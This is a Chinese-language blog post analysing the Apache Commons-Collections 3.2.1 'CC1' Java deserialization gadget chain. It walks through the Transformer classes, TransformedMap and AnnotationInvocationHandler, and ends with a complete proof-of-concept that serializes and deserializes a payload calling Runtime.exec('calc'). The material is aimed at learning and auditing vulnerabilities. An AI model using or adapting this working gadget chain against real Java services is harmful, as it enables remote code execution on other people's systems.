Commons-Collections链_1分析

cc1链

1.简介

1.反序列化漏洞成因:java对象在数据传输的过程中,服务端会对传输过来的java对象进行反序列化,此时服务端的反序列化的readObject方法被调用,若是服务端对readObject对象进行了重写,将可能导致序列化数据流中的一些危险操作被执行。

2.reflection:java反射是一种在运行时动态加载类并获取类详细信息,进而操作类或对象的属性和方法的技术。‌通过反射,可以在运行时动态地创建对象并调用其属性,而不需要提前在编译期知道运行的对象是谁。反射机制的核心是通过JVM获取Class对象,然后通过Class对象进行反编译,获取对象的各种信息。

通俗来说,对象可以通过反射获取他的类,类可以通过反射拿到他的所有方法(包括私有方法)。

“动态特性”:引用p神的一句话叫 一段代码,改变其中的变量,将会导致这段代码产生功能性的变化,我们称之为动态特性。举一个简单的php例子就是一句话木马

3.cc链介绍:java反序列化的cc链通常是指apache commons-collections组件下的反序列化漏洞,这个组件封装了一些java的collection,也就是集合的相关类。组件内的transfrom接口及实现该接口ConstantTransformer,InvokerTransformer,ChainTransformer三个类可组合调用Runtime.exec方法进行命令执行。

因此,必须要实现入口类序列化接口,并重写了readObject函数

4.漏洞复现环境:

jdk 1.8.0_65 (jdk 8u65)

maven:commens-collections 3.2.1

2.利用链

从利用链的最后往前分析,也就是从命令执行的逻辑部分开始分析,一直到反序列化的入口处结束。

1.Transformer

Transformer是一个接口,声明了一个接受可控object类型的方法transform

2.InvokeTransformer

即援引Transformer,位置:

org.apache.commons.collections.functors.InvokerTransformer

选中Transform ,ctrl+alt+b查看

看一下里面的InvokeTransformer构造方法和transform方法。

public class InvokerTransformer implements Transformer, Serializable {
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }//Invoker构造方法
 
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);       
        }//实现接口的Transform方法
}

InvokerTransfrom是Transfromer的子类

构造方法:InvokerTransformer(方法名,形参class数组,实参object数组)

实现接口的transform方法:调用接收到对象的getClass方法,获取他的类和对象,然后将用该对象的getMethod方法获取该对象的方法名,同时存入形参格式,最后用invoke发方法执行传入的input参数的iMethodName,实参是iArgs。

简单弹个计算器吧:

import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1test {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

但是我们这里是主动调用的transfrom方法,我们需要的是让程序自动调用该方法,请看下文:

3.constantTransformer

这个类的构造方法比较简单,显然,这个类也是Transform类的子类。

简要代码如下:

public class ConstantTransformer implements Transformer, Serializable {
	public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }//构造方法:把传过来的Object值赋给iConstant
    
    public Object transform(Object input) {
        return iConstant;
    }//实现接口的transform方法,收到又返回去
}

4.ChainedTransformer

首先看一下这个类的主要代码:

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }//该类构造方法
    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }//实现接口的transform方法
}
 

这个类的构造方法接受了一个Transformer类型的数组,然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformer的transform方法,给transform方法一个初始值,然后每个Tramsformer的transform方法的返回值为下一个Tramsformer的transform方法的参数进行执行。

因为java.lang.Runtime类没有实现序列化接口,但是Class类实现了,因此用Runtime.class命令执行:

//利用Transformer类的子类chainedTransformer融合invoke与constant
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class chained {
    public static void main(String[] arg) throws NoSuchMethodException,InvocationTargetException,IllegalAccessException,IOException{
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        new ChainedTransformer(transformers).transform(null);
    }
}

成功调出计算器

又回到之前的问题,我们需要的是自动化调用transform方法,现在转化为了自动调用Chained里的transform

5.TransfromedMap

查找用法来到

org.apache.commons.collections.map.TransformedMap

看一下这个类的构造方法和transform实现

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }//构造方法
    
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

static decorate方法调用了TransformMap的构造方法,返回了一个实例,该实例的checksetValue方法调用了transform方法,构造方法的第三个参数即可获得valueTransformer的值,但是checksetValue方法修饰符是protected,无法调用其他包的无关类,下面我们的问题转化为可以调用checksetValue方法的类。

首先看看父类吧

6.AbstractInputCheckedMapDecorator

这个是TransformedMap的父类

简要代码如下:

abstract class AbstractInputCheckedMapDecorator
        extends AbstractMapDecorator {
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。

7.AnnotationInvocationHandler

对setValue查找用法

刚好找到了readObject反序列化入口,柳暗花明又一村,位于

sun.reflect.annotation.AnnotationInvocationHandler

这个类是 Java 反射机制的一部分,用于实现注解的动态代理。它是一个内部类,不是公开 API 的一部分。

利用链完毕

3.编写POC

步骤如下:

1.创建变换器链:
使用 InvokerTransformer 来调用 Runtime.getRuntime().exec() 方法。
将多个 Transformer 实例链接起来,形成一个链。
2.装饰Map:
使用 TransformedMap.decorate() 方法将变换器链与 Map 结合,这样当从 Map 中获取值时会触发变换器链。
3.利用 AnnotationInvocationHandler:
创建一个 AnnotationInvocationHandler 实例,传入 Map 和注解类型。
4.序列化和反序列化:
将构造好的对象序列化到文件。
再次读取并反序列化此文件,以触发变换器链。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/

        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.ser"));
        in.readObject();
    }
}

整体的链,给出ysoserial的利用链:

Lazymap中也有构造Map和变换器函数相关方法,这是另一条链了,但是原理大差不差,从readObject到Runtime.exec()完成rce。

4.总结

cc链种类繁多,代码审计一定仔细,从后往前,也许方法不同,但殊途同归。

posted @ 2024-12-04 14:46  IiTzTimmy  阅读(54)  评论(0)    收藏  举报